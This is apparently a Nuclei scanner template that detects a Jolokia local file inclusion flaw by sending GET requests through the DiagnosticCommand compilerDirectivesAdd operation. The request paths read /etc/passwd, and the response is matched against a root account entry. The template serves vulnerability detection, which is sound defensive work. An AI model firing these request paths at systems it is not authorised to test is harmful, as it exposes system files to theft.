id: jolokia-file-read-compilerdirectivesadd

info:
  name: Jolokia - CompilerDirectivesAdd File Read
  author: dhiyaneshDk
  severity: high
  description: Jolokia is vulnerable to local file inclusion via compilerDirectivesAdd.
  reference:
    - https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/
    - https://github.com/laluka/jolokia-exploitation-toolkit
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 2
  tags: jolokia,springboot,tomcat,lfi,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"
      - "{{BaseURL}}/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "compilerDirectivesAdd"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220438b2f1f728d61621f8bba4c31d633970a9565841f147504bb51d367e541b34b02200c4bb46f4304bca64a15501baf8b9fd12680b332607f11f70b83f8d55aadcfa0:922c64590222798bb761d5b6d8e72950